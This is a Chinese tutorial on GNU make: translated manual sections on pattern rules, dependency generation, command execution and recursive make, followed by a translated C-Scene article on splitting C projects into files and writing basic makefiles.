目标的依赖文件名通过将DEP-PATTERNS中的’%’替换为词干形成:如果依赖模式为’%.c’,在替换词干’foo’可以得到’foo.c’。依赖模式中不包含’%’也是合法的,此依赖文件对所有的目标均有效。
如果需要在模式规则中使用’%’字符,必须在其前面加’\’字符,如果’%’前的’\’字符是有实际意义的,必须在其前面加’\’,其它的’\’不必如此处理。如’the\%weird\\%pattern\\’在有效的’%’前是’the%weird\’,其后是’pattern\\’。最后的’\\’保持原样是因为其并不影响’%’字符。
以下例子从相应的’.c’文件编译’foo.o’和’bar.o’:
objects = foo.o bar.o
$(objects): %.o: %.c
$(CC) -c $(CFLAGS) $< -o $@
每个目标必须匹配目标模式,对于不匹配的目标会给出警告。如果列表中只有部分文件匹配模式,可以使用filter函数移去不匹配的文件名:
files = foo.elc bar.o lose.o

$(filter %.o,$(files)): %.o: %.c
$(CC) -c $(CFLAGS) $< -o $@
$(filter %.elc,$(files)): %.elc: %.el
emacs -f batch-byte-compile $<
例子中`$(filter %.o,$(files))’ 结果是`bar.o lose.o’; `$(filter %.elc,$(files))’ 的结果是`foo.elc’。以下例子说明’$*’的使用:
bigoutput littleoutput : %output : text.g
generate text.g -$* > $@
命令`generate’执行时,’$*’扩展为词干’big’或’little’。
3.11.2静态模式规则和隐式规则
静态模式规则和隐式规则在作为模式规则是具有很多共同点,都有目标模式和构造依赖文件名的模式,不同之处在于make决定何时应用规则的方法。
隐式规则可应用于匹配其模式的任何目标,但只限于没有指定命令的目标,如果有多条可应用的隐式规则,只有一条被使用,取决于规则的顺序。
反之,静态模式规则适用于规则中明确目标列表,不适用于其它目标且总是适用于指定的每个目标。如果有两条冲突的规则,且都有命令,这是一个错误。
静态模式规则比隐式规则优越之处如下:
★可为一些不能按句法分类,但可以显式列出的文件重载隐式规则
★不能判定目录中的精确内容,一些无关的文件可能导致make适用错误的隐式规则;最终结果可能依赖于隐式规则的次序。适用静态模式规则时,这种不确定性是不存在的:规则适用于明确指定的目标。
3.12双冒号规则
双冒号规则(Double-colon rules)的目标后是’::’而不是’:’,当一个目标出现在多条规则中时,其处理和普通规则的处理不同。
当一个目标出现在多条规则中时,所有规则必须是相同类型的:都是普通的或者都是双冒号的。如果是双冒号,规则之间相互独立;如果目标需要更新,则规则的命令被执行;结果可能是没有执行,或者执行了其中一些,或者所有的规则都执行了。
同一目标的双冒号规则事实是完全孤立的,每条规则被被单独处理,就象不同目标的规则一样;规则按照在makefile中出现的次序被处理,此类规则真正有意义的是那些于命令执行次序无关的。
这种规则有时比较晦涩不是特别有用;它提供了一种机制:通过不同依赖文件的更新来对目标进行不同的处理,这种情形很罕见。每个这种规则应当提供命令,如果没有,适用的隐式规则将使用。
3.13自动生成依赖关系
在makefile中,许多规则都是一些目标文件依赖于一些头文件。例如:’main.c’ 通过’#include’使用’defs.h’,这样规则:
main.o: defs.h
告诉make在’defs.h’变化时更新’main.o’。在程序比较大时,需要写许多这样的规则;而且当每次增删’#include’时,必须小心的更新makefile。许多现代的编译器可以帮你写这些规则,通常这是通过编译器的’-M’选项,例如命令:
cc –M main.c
输出以下内容:
main.o : main.c defs.h
这样就不必写这些规则,有编译器代劳了。
注意这样的依赖关系中提及’main.o’,不会被隐式规则认为是中间文件,这意味这make在使用过它之后不会将其删除。使用老的’make’程序时,习惯做法是使用’make depend’命令利用编译器的功能产生依赖关系,该命令会产生一个’depend’文件包含所有自动产生的依赖关系,然后在makefile中使用’include’将其读入。
使用GNU的make时,重新生成makefile的功能使得这种做法变得过时:从不需要显式请求更新依赖关系,因为它总是重新生成任何过时的makefile。
自动依赖关系生成推荐的做法是对每个源文件做一个makefile。对每个源文件’NAME.c’,有一个makefile ’NAME.d’,其中列出了目标文件’NAME.o’依赖的所有文件,这样在源文件更新时,需要扫描来产生新的依赖关系。例子是一个从’NAME.c’产生依赖关系文件’NAME.d’的模式规则:
%.d: %.c
$(SHELL) -ec ‘$(CC) -M $(CPPFLAGS) $< \
| sed ‘\’’s/\($*\)\.o[ :]*/\1 $@/g’\” > $@’
-e选项是当$(CC)命令失败时(exit状态非0),shell立刻退出。通常shell的返回值是管道中最后一条命令(sed)的返回值,这样make不会注意到编译器出错。
使用GNU的C编译器时(gcc),可以用’-MM’选项来代替’-M’选项,这样省略系统头文件的依赖关系。’sed’命令的目的是将
main.o : main.c defs.h
转换为
main.o main.d : main.c defs.h
这样使得每个’.d’文件依赖于’.o’文件相应源文件和头文件,make则可以在原文间或头文件变化时更新依赖关系文件。
如果定义了生成’.d’文件的规则,可以使用’include’指令来读入所有的文件:
sources = foo.c bar.c
include $(sources:.c=.d)
例中使用替换变量来将源文件列表’ foo.c bar.c’转换为依赖关系文件的列表。因为’.d’文件和其它文件一样,不需要更多工作,make会在需要时重新生成它们。
4编写命令
规则的命令是由一一执行的shell命令组成。除了以分号隔开写在依赖关系后的命令,每个命令行必须以tab字符开始空行和注释行可以出现在命令行中,处理时被忽略(注意:以tab字符开始的空行不是’空’行,是一条空命令)。
可以在命令中使用任何程序,但这些程序是由$(SHELL)来执行的。
4.1回显
通常make打印出要执行的命令,称之为回显,这和亲自敲命令的现象是一样的。当行之前有’@’字符时,命令不再回显,字符’@’在传递给shell前丢弃。典型的用法是只对打印命令有效,比如’echo’命令:
@echo About to make distribution files
当make使用’-n’或’—just-print’选项时,显示要发生的一切,但不执行命令。只有在这种情况下,即使命令以’@’开始,命令行仍然显示出来。这个选项对查看make实际要执行的动作很有用。
‘-s’或’—silent’选项阻止make所有回显,就象所有命令以’@’开始一样;一条没有依赖关系的’.SILENT’规则有相同的作用,但是’@’更加灵活。
4.2执行
在需要执行命令更新目标时,make为每一行创建一个子shell来执行。这意味着诸如为进程设置局部变量的shell命令’cd’(改变进程的当前目录)不会影响以后的命令。如果需要’cd’影响下一个命令,将它们放在一行上用分号隔开,这样make认为是一条命令传递给shell程序(注意:这需要shell支持):
foo : bar/lose
cd bar; gobble lose > ../foo
另一个形式使用续行符:
foo : bar/lose
cd bar; \
gobble lose > ../foo
shell程序的名字是通过’SHELL’变量来取得的。
(*UNIX)不象大多数变量,’SHELL’变量不是通过环境来设置的(即需要在makefile中设置),因为’SHELL’环境是个人选择的,如果不同人的选择会影响makefile的功能的话,这样很糟糕。
4.3并行执行
GNU make可以一次执行几条命令。通常make一次执行一条命令,等待其返回,再执行下一条。使用’-j’或’—jobs’可以同时执行多条命令。如果’-j’后梗一个正数,表示一次可以执行的命令条数;如果’-j’之后没有参数,则不限制可执行的命令数。缺省的数量是一。
一个讨厌的问题是如果同时执行多条命令,它们的输出会混在一起;另一个问题是两个进程不能从同一个设备获得输入。
4.4错误
每条shell命令返回时,make会检查其返回状态。如果命令执行成功,则下一条命令被执行,最后一条命令执行完后,规则执行结束。
如果有错误(返回非0状态),make放弃当前规则,也可能是所有规则。
有时候命令执行错误并不是问题,比如使用’mkdir’命令确保目录存在:如果目录一存在,则’mkdir’会报告错误,但仍希望make继续。
要忽略命令的错误,在命令之前使用’-‘字符,’-‘字符在传递给shell之前被丢弃:
clean:
-rm -f *.o
如果使用’-i’或’—ignore-errors’选项,make会忽略所有命令产生的错误;一条没有依赖关系的’.IGNORE’规则有相同的作用,但’-‘更灵活。
在忽略错误时,make将错误也认为是成功,只是通知你命令的退出状态和和错误被忽略。如果make并未告知忽略错误,在错误发生时,表明该目标不能成功更新,直接或间接依赖于此的目标当然也不能成功;这些目标的命令不会被执行,因为其先决条件不满足。
通常make会立即以非0状态退出。然而,如果给定’-k’或’—keep-going’选项,make在退出前会处理其它的依赖关系,进行必要的更新。例如,在编译一个目标文件遇到错误,’make -k’会继续编译其它的目标文件。
通常认为你的目的是更新指定的目标,当make知道这是不可能时,会立即报告失败;’-k’选项指示真正目的是测试更新程序的更多可能性:在编译之前找出更多不相关的问题。
如果命令失败了,假设它更新的目标文件,这个文件是不完整的不能使用-至少不是完全更新的。但文件的最后修改时间表明停已经是最新的,下一次make运行时,不会再更新这个文件。这种情况和命令被kill相同;则通常情况下在命令失败时将目标删除是正确的;当’.DELETE_ON_ERROR’是目标时make帮你做这件事。虽然你总是希望make这么做,但这不是过去的习惯;所以必须显式要求make这样做(其它的make自动这样做)。
4.5中断make
如果make执行命令时遇到错误,可能会删除命令更新的目标文件: make检查文件的修改时间是否变化。删除目标的目的是确保make下次执行时重新生成它。为什么这样做?假设在编译器运行时按了’Ctrl-c’,此时编译器写生成目标文件’foo.o’。’Ctrl-c’ kill了编译器,留下一个不完整的文件,但它的修改时间比源文件’foo.c’新;此时make也受到’Ctrl-c’信号删除这个不完整的文件,如果make不这样做,下次make运行时认为’foo.o’不需要更新,会在链接时出现奇怪的错误。
可以使用’.PRECIOUS’规则来防止目标文件被删除。在make更新目标时,会检测其是否为’.PRECIOUS’的依赖,决定在命令出错或中断时是否删除该目标。如果你希望目标的更新是原子操作,或是用来记录修改时间,或必须一直存在防止其它类型的错误,这些理由使得你必须这样做。
4.6递归使用
递归使用make就是在makefile中使用make命令。这种技术在你将一个大系统分解为几个子系统,为每个自系统提供一个makefile时有用处。比如有一个子目录’subdir’中有自己的makefile,希望make在自目录中运行,可以这样做:
subsystem:
cd subdir; $(MAKE)
或者
subsystem:
$(MAKE) -C subdir
可以照抄这个;例子来递归使用make
4.6.1‘MAKE’变量
递归的make必须使用’MAKE’变量,不是显式的make命令:
subsystem:
cd subdir; $(MAKE)
该变量的值是被调用的make的名字。在命令中使用’MAKE’有特殊的功能:它改变了`-t’ (`–touch’), `-n’ (`–just-print’)和`-q’ (`–question’)选项的含义。使用上例来考虑’make –t’命令(’-t’选项将目标标记为最新但不运行命令),更加’-t’选项的功能,该命令将创建一个’subsystem’文件,实际希望的操作是运行’cd subdir; make –t’;但这会执行命令,与’-t’的原意不符。
这个特殊功能做了期望的工作。当命令行包含变量’MAKE’时,选项’-t’,’-n’和’-q’并不适用。不管这些导致不会执行命令的标志,包含’MAKE’变量的命令始终会执行。正常的’MAKEFLAGS’机制将这些标志传递到子make,这样打印命令的请求被传播到子系统中。
4.6.2传递变量到子make
上级(top-level)make中的变量可以显式通过环境传递到子make中。在子make中,这些变量被缺省定义,但不会重载子makefile中的定义除非使用’-e’选项。
为向下传递,或输出变量,make在运行命令时将其加入到环境变量中;子make,可以使用环境变量来初始化变量表。除非显式要求,make只输出初始环境中或命令行设置的变量而且变量名只由字母,数字和下划线组成。一些shell不能处理有其它字符的环境变量。
特殊变量’SHELL’,’MAKEFLAGS’总是输出,如果’MAKEFILE’变量有值,也会输出。Make自动通过’MAKEFLAGS’来输出命令行定义的变量。
如果想要输出特定变量,使用’export’指令:
export VARIABLE …
如果要阻止输出一个变量,使用’unexport’指令:
unexport VARIABLE …
为方便起见,可以在定义变量时输出它:
export VARIABLE = value

VARIABLE = value
export VARIABLE
作用相同。
如果要输出所有的变量,使用’export’指令本身就可以了。
变量’MAKELEVEL’在一级一级传递时会改变,这个变量的值是表示嵌套层数的字符串,顶级’make’是,变量的值为’0’;子make的值为’1’;子子make的值为’2’,依此类推。
‘MAKELEVEL’的用途是在条件指令中测试它,这样写出在递归运行时和直接运行时表现不同的makefile。

GNU make 指南

翻译: 哈少

译者按: 本文是一篇介绍 GNU Make 的文章,读完后读者应该基本掌握了 make 的用法。而 make 是所有想在 Unix (当然也包括 Linux )系统上编程的用户必须掌握的工具。如果你写的程序中没有用到 make ,则说明你写的程序只是个人的练习程序,不具有任何实用的价值。也许这么说有点 儿偏激,但 make 实在是应该用在任何稍具规模的程序中的。希望本文可以为中国的 Unix 编程初学者提供一点儿有用的资料。中国的 Linux 用户除了学会安装红帽子以外, 实在应该尝试写一些有用的程序。个人想法,大家参考。

C-Scene 题目 #2
多文件项目和 GNU Make 工具
作者: 乔治富特 (Goerge Foot)
电子邮件: george.foot@merton.ox.ac.uk
Occupation: Student at Merton College, Oxford University, England
职业:学生,默尔顿学院,牛津城大学,英格兰
IRC匿名: gfoot
拒绝承诺:作者对于任何因此而对任何事物造成的所有损害(你所拥有或不拥有的实际的,抽象的,或者虚拟的)。所有的损坏都是你自己的责任,而与我无关。

所有权: “多文件项目”部分属于作者的财产,版权归乔治富特1997年五月至七月。其它部分属 CScene 财产,版权 CScene 1997年,保留所有版权。本 CScene 文章的分发,部分或全部,应依照所有其它 CScene 的文章的条件来处理。

0) 介绍
~~~~~~~~~~~~~~~
本文将首先介绍为什么要将你的C源代码分离成几个合理的独立档案,什么时候需要分,怎么才能分的好。然后将会告诉你 GNU Make 怎样使你的编译和连接步骤自动化。对于其它 Make 工具的用户来说,虽然在用其它类似工具时要做适当的调整,本文的内容仍然是非常有用的。如果对你自己的编程工具有怀疑,可以实际的试一试,但请先阅读用户手册。

1) 多文件项目
~~~~~~~~~~~~~~~~~~~~~~

      1.1为什么使用它们?

      首先,多文件项目的好处在那里呢?
      它们看起来把事情弄的复杂无比。又要 header 文件,又要 extern 声明,而且如果需要查找一个文件,你要在更多的文件里搜索。

      但其实我们有很有力的理由支持我们把一个项目分解成小块。当你改动一行代码,编译器需要全部重新编译来生成一个新的可执行文件。但如果你的项目是分开在几个小文件里,当你改动其中一个文件的时候,别的源文件的目标文件(object files)已经存在,所以没有什么原因去重新编译它们。你所需要做的只是重现编译被改动过的那个文件,然后重新连接所有的目标文件罢了。在大型的项目中,这意味着从很长的(几分钟到几小时)重新编译缩短为十几,二十几秒的简单调整。

      只要通过基本的规划,将一个项目分解成多个小文件可使你更加容易的找到一段代码。很简单,你根据代码的作用把你的代码分解到不同的文件里。当你要看一段代码时,你可以准确的知道在那个文件中去寻找它。

      从很多目标文件生成一个程序包 (Library)比从一个单一的大目标文件生成要好的多。当然实际上这是否真是一个优势则是由你所用的系统来决定的。但是当使用 gcc/ld (一个 GNU C 编译/连接器) 把一个程序包连接到一个程序时,在连接的过程中,它会尝试不去连接没有使用到的部分。但它每次只能从程序包中把一个完整的目标文件排除在外。因此如果你参考一个程序包中某一个目标档中任何一个符号的话,那么这个目标文件整个都会被连接进来。要是一个程序包被非常充分的分解了的话,那么经连接后,得到的可执行文件会比从一个大目标文件组成的程序包连接得到的文件小得多。

      又因为你的程序是很模块化的,文件之间的共享部分被减到最少,那就有很多好处——可以很容易的追踪到臭虫,这些模块经常是可以用在其它的项目里的,同时别人也可以更容易的理解你的一段代码是干 什么的。当然此外还有许多别的好处……

      1.2 何时分解你的项目

      很明显,把任何东西都分解是不合理的。象“世界,你们好”这样的简单程序根本就不能分,因为实在也没什么可分的。把用于测试用的小程序分解也是没什么意思的。但一般来说,当分解项目有助于布局、发展和易读性的时候,我都会采取它。在大多数的情况下,这都是适用的。(所谓“世界,你们好”,既 ‘hello world’ ,只是一个介绍一种编程语言时惯用的范例程序,它会在屏幕上显示一行 ‘hello world’ 。是最简单的程序。)

      如果你需要开发一个相当大的项目,在开始前,应该考虑一下你将如何实现它,并且生成几个文件(用适当的名字)来放你的代码。当然,在你的项目开发的过程中,你可以建立新的文件,但如果你这么做的话,说明你可能改变了当初的想法,你应该想想是否需要对整体结构也进行相应的调整。

      对于中型的项目,你当然也可以采用上述技巧,但你也可以就那么开始输入你的代码,当你的码多到难以管理的时候再把它们分解成不同的档案。但以我的经验来说,开始时在脑子里形成一个大概的方案,并且尽量遵从它,或在开发过程中,随着程序的需要而修改,会使开发变得更加容易。

      1.3 怎样分解项目

      先说明,这完全是我个人的意见,你可以(也许你真的会?)用别的方式来做。这会触动到有关编码风格的问题,而大家从来就没有停止过在这个问题上的争论。在这里我只是给出我自己喜欢的做法(同时也给出这么做的原因):
            i) 不要用一个 header 文件指向多个源码文件(例外:程序包 的 header 文件)。用一个 header定义一个源码文件的方式 会更有效,也更容易查寻。否则改变一个源文件的结构(并且 它的 header 文件)就必须重新编译好几个文件。

            ii) 如果可以的话,完全可以用超过一个的 header 文件来指向同 一个源码文件。有时将不可公开调用的函数原型,类型定义 等等,从它们的C源码文件中分离出来是非常有用的。使用一 个 header 文件装公开符号,用另一个装私人符号意味着如果 你改变了这个源码文件的内部结构,你可以只是重新编译它而 不需要重新编译那些使用它的公开 header 文件的其它的源文 件。

            iii) 不要在多个 header 文件中重复定义信息。 如果需要, 在其中一个 header 文件里 #include 另一个,但 是不要重复输入相同的 header 信息两次。原因是如果你以后改 变了这个信息,你只需要把它改变一次,不用搜索并改变另外一 个重复的信息。

            iv) 在每一个源码文件里, #include 那些声明了源码文件中的符 号的所有 header 文件。这样一来,你在源码文件和 header 文件对某些函数做出的矛盾声明可以比较容易的被编译器发现。

      1.4 对于常见错误的注释

            a) 定义符 (Identifier) 在源码文件中的矛盾:在C里,变量和函数的缺 省状态是公用的。因此,任何C源码档案都可以引用存在于其它源 码档中的通用 (global) 函数和通用变量,既使这个档案没有那个变 量或函数的声明或原型。因此你必须保证在不同的两个档案里不能 用同一个符号名称,否则会有连接错误或者在编译时会有警告。

            一种避免这种错误的方法是在公用的符号前加上跟其所在源文件有 关的前缀。比如:所有在 gfx.c 里的函数都加上前缀“gfx_”。如果 你很小心的分解你的程序,使用有意义的函数名称,并且不是过分 使用通用变量,当然这根本就不是问题。

            要防止一个符号在它被定义的源文件以外被看到,可在它的定义前 加上关键字“static”。这对只在一个档案内部使用,其它档案都 都不会用到的简单函数是很有用的。

            b) 多次定义的符号: header 档会被逐字的替换到你源文件里 #include 的位置的。因此,如果 header 档被 #include 到一个以上的源文件 里,这个 header 档中所有的定义就会出现在每一个有关的源码文件 里。这会使它们里的符号被定义一次以上,从而出现连接错误(见 上)。

            解决方法: 不要在 header 档里定义变量。你只需要在 header 档里声明它们然后在适当的C源码文件(应该 #include 那个 header 档的那个)里定义它们(一次)。对于初学者来说,定义和声明是 很容易混淆的。声明的作用是告诉编译器其所声明的符号应该存在, 并且要有所指定的类型。但是,它并不会使编译器分配贮存空间。 而定义的做用是要求编译器分配贮存空间。当做一个声明而不是做 定义的时候,在声明前放一个关键字“extern”。

            例如,我们有一个叫“counter”的变量,如果想让它成为公用的, 我们在一个源码程序(只在一个里面)的开始定义它:“int counter;”,再在相关的 header 档里声明它:“extern int counter;”。

            函数原型里隐含着 extern 的意思,所以不需顾虑这个问题。

            c) 重复定义,重复声明,矛盾类型:
            请考虑如果在一个C源码文件中 #include 两个档 a.h 和 b.h, 而 a.h 又 #include 了 b.h 档(原因是 b.h 档定义了一些 a.h 需要的类型),会发生什么事呢?这时该C源码文件 #include 了 b.h 两次。因此每一个在 b.h 中的 #define 都发生了两次,每一 个声明发生了两次,等等。理论上,因为它们是完全一样的拷贝, 所以应该不会有什么问题,但在实际应用上,这是不符合C的语法 的,可能在编译时出现错误,或至少是警告。

            解决的方法是要确定每一个 header 档在任一个源码文件中只被包 含了一次。我们一般是用预处理器来达到这个目的的。当我们进入 每一个 header 档时,我们为这个 header 档 #define 一个巨集 指令。只有在这个巨集指令没有被定义的前提下,我们才真正使用 该 header 档的主体。在实际应用上,我们只要简单的把下面一段 码放在每一个 header 档的开始部分:

            #ifndef FILENAME_H
            #define FILENAME_H

            然后把下面一行码放在最后:

            #endif

            用 header 档的档名(大写的)代替上面的 FILENAME_H,用底线 代替档名中的点。有些人喜欢在 #endif 加上注释来提醒他们这个 #endif 指的是什么。例如:

            #endif /* #ifndef FILENAME_H */

            我个人没有这个习惯,因为这其实是很明显的。当然这只是各人的 风格不同,无伤大雅。

            你只需要在那些有编译错误的 header 档中加入这个技巧,但在所 有的 header 档中都加入也没什么损失,到底这是个好习惯。

      1.5 重新编译一个多文件项目

      清楚的区别编译和连接是很重要的。编译器使用源码文件来产生某种 形式的目标文件(object files)。在这个过程中,外部的符号参考并 没有被解释或替换。然后我们使用连接器来连接这些目标文件和一些 标准的程序包再加你指定的程序包,最后连接生成一个可执行程序。 在这个阶段,一个目标文件中对别的文件中的符号的参考被解释,并 报告不能被解释的参考,一般是以错误信息的形式报告出来。

      基本的步骤就应该是,把你的源码文件一个一个的编译成目标文件的格 式,最后把所有的目标文件加上需要的程序包连接成一个可执行文件。 具体怎么做是由你的编译器决定的。这里我只给出 gcc (GNU C 编译 器)的有关命令,这些有可能对你的非 gcc 编译器也适用。

      gcc 是一个多目标的工具。它在需要的时候呼叫其它的元件(预处理 程序,编译器,组合程序,连接器)。具体的哪些元件被呼叫取决于 输入文件的类型和你传递给它的开关。

      一般来说,如果你只给它C源码文件,它将预处理,编译,组合所有 的文件,然后把所得的目标文件连接成一个可执行文件(一般生成的 文件被命名为 a.out )。你当然可以这么做,但这会破坏很多我们 把一个项目分解成多个文件所得到的好处。

      如果你给它一个 -c 开关,gcc 只把给它的文件编译成目标文件, 用源码文件的文件名命名但把其后缀由“.c”或“.cc”变成“.o”。 如果你给它的是一列目标文件, gcc 会把它们连接成可执行文件, 缺省文件名是 a.out 。你可以改变缺省名,用开关 -o 后跟你指定 的文件名。

      因此,当你改变了一个源码文件后,你需要重新编译它: ‘gcc -c filename.c’ 然后重新连接你的项目: ‘gcc -o exec_filename *.o’。 如果你改变了一个 header 档,你需要重新编译所有 #include 过 这个档的源码文件,你可以用 ‘gcc -c file1.c file2.c file3.c’ 然后象上边一样连接。

      当然这么做是很繁琐的,幸亏我们有些工具使这个步骤变得简单。 本文的第二部分就是介绍其中的一件工具:GNU Make 工具。

      (好家伙,现在才开始见真章。您学到点儿东西没?)

2) GNU Make 工具
~~~~~~~~~~~~~~~~

      2.1 基本 makefile 结构

      GNU Make 的主要工作是读进一个文本文件, makefile 。这个文 件里主要是有关哪些文件(‘target’目的文件)是从哪些别的 文件(‘dependencies’依靠文件)中产生的,用什么命令来进行 这个产生过程。有了这些信息, make 会检查磁碟上的文件,如果 目的文件的时间戳(该文件生成或被改动时的时间)比至少它的一 个依靠文件旧的话, make 就执行相应的命令,以便更新目的文件。 (目的文件不一定是最后的可执行档,它可以是任何一个文件。)

      makefile 一般被叫做“makefile”或“Makefile”。当然你可以 在 make 的命令行指定别的文件名。如果你不特别指定,它会寻 找“makefile”或“Makefile”,因此使用这两个名字是最简单 的。

      一个 makefile 主要含有一系列的规则,如下:

      : …
      (tab)<command>
      (tab)<command>
      .
      .
      .

      例如,考虑以下的 makefile :

      === makefile 开始 ===
      myprog : foo.o bar.o
        gcc foo.o bar.o -o myprog

      foo.o : foo.c foo.h bar.h
        gcc -c foo.c -o foo.o

      bar.o : bar.c bar.h
        gcc -c bar.c -o bar.o
      === makefile 结束 ===

      这是一个非常基本的 makefile —— make 从最上面开始,把上 面第一个目的,‘myprog’,做为它的主要目标(一个它需要保 证其总是最新的最终目标)。给出的规则说明只要文件‘myprog’ 比文件‘foo.o’或‘bar.o’中的任何一个旧,下一行的命令将 会被执行。

      但是,在检查文件 foo.o 和 bar.o 的时间戳之前,它会往下查 找那些把 foo.o 或 bar.o 做为目标文件的规则。它找到的关于 foo.o 的规则,该文件的依靠文件是 foo.c, foo.h 和 bar.h 。 它从下面再找不到生成这些依靠文件的规则,它就开始检查磁碟 上这些依靠文件的时间戳。如果这些文件中任何一个的时间戳比 foo.o 的新,命令 ‘gcc -o foo.o foo.c’ 将会执行,从而更新 文件 foo.o 。

      接下来对文件 bar.o 做类似的检查,依靠文件在这里是文件 bar.c 和 bar.h 。

      现在, make 回到‘myprog’的规则。如果刚才两个规则中的任 何一个被执行,myprog 就需要重建(因为其中一个 .o 档就会比 ‘myprog’新),因此连接命令将被执行。

      希望到此,你可以看出使用 make 工具来建立程序的好处——前 一章中所有繁琐的检查步骤都由 make 替你做了:检查时间戳。 你的源码文件里一个简单改变都会造成那个文件被重新编译(因 为 .o 文件依靠 .c 文件),进而可执行文件被重新连接(因为 .o 文件被改变了)。其实真正的得益是在当你改变一个 header 档的时候——你不再需要记住那个源码文件依靠它,因为所有的 资料都在 makefile 里。 make 会很轻松的替你重新编译所有那 些因依靠这个 header 文件而改变了的源码文件,如有需要,再 进行重新连接。

      当然,你要确定你在 makefile 中所写的规则是正确无误的,只 列出那些在源码文件中被 #include 的 header 档……

      2.2 编写 make 规则 (Rules)

      最明显的(也是最简单的)编写规则的方法是一个一个的查 看源码文件,把它们的目标文件做为目的,而C源码文件和被它 #include 的 header 档做为依靠文件。但是你也要把其它被这些 header 档 #include 的 header 档也列为依靠文件,还有那些被 包括的文件所包括的文件……然后你会发现要对越来越多的文件 进行管理,然后你的头发开始脱落,你的脾气开始变坏,你的脸 色变成菜色,你走在路上开始跟电线杆子碰撞,终于你捣毁你的 电脑显示器,停止编程。到低有没有些容易点儿的方法呢?

      当然有!向编译器要!在编译每一个源码文件的时候,它实在应 该知道应该包括什么样的 header 档。使用 gcc 的时候,用 -M 开关,它会为每一个你给它的C文件输出一个规则,把目标文件 做为目的,而这个C文件和所有应该被 #include 的 header 文 件将做为依靠文件。注意这个规则会加入所有 header 文件,包 括被角括号(`<’, `>’)和双引号(`”‘)所包围的文件。其实我们可以 相当肯定系统 header 档(比如 stdio.h, stdlib.h 等等)不会 被我们更改,如果你用 -MM 来代替 -M 传递给 gcc,那些用角括 号包围的 header 档将不会被包括。(这会节省一些编译时间)

      由 gcc 输出的规则不会含有命令部分;你可以自己写入你的命令 或者什么也不写,而让 make 使用它的隐含的规则(参考下面的 2.4 节)。

      2.3 Makefile 变量

      上面提到 makefiles 里主要包含一些规则。它们包含的其它的东 西是变量定义。

      makefile 里的变量就像一个环境变量(environment variable)。 事实上,环境变量在 make 过程中被解释成 make 的变量。这些 变量是大小写敏感的,一般使用大写字母。它们可以从几乎任何 地方被引用,也可以被用来做很多事情,比如:
            i) 贮存一个文件名列表。在上面的例子里,生成可执行文件的 规则包含一些目标文件名做为依靠。在这个规则的命令行 里同样的那些文件被输送给 gcc 做为命令参数。如果在这 里使用一个变数来贮存所有的目标文件名,加入新的目标 文件会变的简单而且较不易出错。

            ii) 贮存可执行文件名。如果你的项目被用在一个非 gcc 的系 统里,或者如果你想使用一个不同的编译器,你必须将所 有使用编译器的地方改成用新的编译器名。但是如果使用一 个变量来代替编译器名,那么你只需要改变一个地方,其 它所有地方的命令名就都改变了。

            iii) 贮存编译器旗标。假设你想给你所有的编译命令传递一组 相同的选项(例如 -Wall -O -g);如果你把这组选项存 入一个变量,那么你可以把这个变量放在所有呼叫编译器 的地方。而当你要改变选项的时候,你只需在一个地方改 变这个变量的内容。
      要设定一个变量,你只要在一行的开始写下这个变量的名字,后 面跟一个 = 号,后面跟你要设定的这个变量的值。以后你要引用 这个变量,写一个 $ 符号,后面是围在括号里的变量名。比如在 下面,我们把前面的 makefile 利用变量重写一遍:

      === makefile 开始 ===
      OBJS = foo.o bar.o
      CC = gcc
      CFLAGS = -Wall -O -g

      myprog : $(OBJS)
        $(CC) $(OBJS) -o myprog

      foo.o : foo.c foo.h bar.h
        $(CC) $(CFLAGS) -c foo.c -o foo.o

      bar.o : bar.c bar.h
        $(CC) $(CFLAGS) -c bar.c -o bar.o
      === makefile 结束 ===

      还有一些设定好的内部变量,它们根据每一个规则内容定义。三个 比较有用的变量是 $*,$?,$@, $< 和 $^ (这些变量不需要括号括住)。 $@ 扩展成当前规则的目的文件名, $< 扩展成依靠列表中的第 一个依靠文件,而 $^ 扩展成整个依靠的列表(除掉了里面所有重 复的文件名)。$?比目标文件(target)新的dependent file.而$?的值只有 在使用外显示(explicit)的规则时才会被设定.$*是内存dependent file的文件名,不含扩展名. 利用这些变量,我们可以把上面的 makefile 写成:

      === makefile 开始 ===
      OBJS = foo.o bar.o
      CC = gcc
      CFLAGS = -Wall -O -g

      myprog : $(OBJS)
        $(CC) $^ -o $@

      foo.o : foo.c foo.h bar.h
        $(CC) $(CFLAGS) -c $< -o $@

      bar.o : bar.c bar.h
        $(CC) $(CFLAGS) -c $< -o $@
      === makefile 结束 ===

      你可以用变量做许多其它的事情,特别是当你把它们和函数混合 使用的时候。如果需要更进一步的了解,请参考 GNU Make 手册。 (‘man make’, ‘man makefile’)

      2.4 隐含规则 (Implicit Rules)

      请注意,在上面的例子里,几个产生 .o 文件的命令都是一样的。 都是从 .c 文件和相关文件里产生 .o 文件,这是一个标准的步 骤。其实 make 已经知道怎么做——它有一些叫做隐含规则的内 置的规则,这些规则告诉它当你没有给出某些命令的时候,应该 怎么办。

      如果你把生成 foo.o 和 bar.o 的命令从它们的规则中删除, make 将会查找它的隐含规则,然后会找到一个适当的命令。它的命令会 使用一些变量,因此你可以按照你的想法来设定它:它使用变量 CC 做为编译器(象我们在前面的例子),并且传递变量 CFLAGS (给 C 编译器,C++ 编译器用 CXXFLAGS ),CPPFLAGS ( C 预 处理器旗标), TARGET_ARCH (现在不用考虑这个),然后它加 入旗标 ‘-c’ ,后面跟变量 $< (第一个依靠名),然后是旗 标 ‘-o’ 跟变量 $@ (目的文件名)。一个C编译的具体命令将 会是:

      $(CC) $(CFLAGS) $(CPPFLAGS) $(TARGET_ARCH) -c $< -o $@

      当然你可以按照你自己的需要来定义这些变量。这就是为什么用 gcc 的 -M 或 -MM 开关输出的码可以直接用在一个 makefile 里。

      2.5 假象目的 (Phony Targets)

      假设你的一个项目最后需要产生两个可执行文件。你的主要目标 是产生两个可执行文件,但这两个文件是相互独立的——如果一 个文件需要重建,并不影响另一个。你可以使用“假象目的”来 达到这种效果。一个假象目的跟一个正常的目的几乎是一样的, 只是这个目的文件是不存在的。因此, make 总是会假设它需要 被生成,当把它的依赖文件更新后,就会执行它的规则里的命令 行。

      如果在我们的 makefile 开始处输入:

      all : exec1 exec2

      其中 exec1 和 exec2 是我们做为目的的两个可执行文件。 make 把这个 ‘all’ 做为它的主要目的,每次执行时都会尝试把 ‘all’ 更新。但既然这行规则里没有哪个命令来作用在一个叫 ‘all’ 的 实际文件(事实上 all 并不会在磁碟上实际产生),所以这个规 则并不真的改变 ‘all’ 的状态。可既然这个文件并不存在,所以 make 会尝试更新 all 规则,因此就检查它的依靠 exec1, exec2 是否需要更新,如果需要,就把它们更新,从而达到我们的目的。

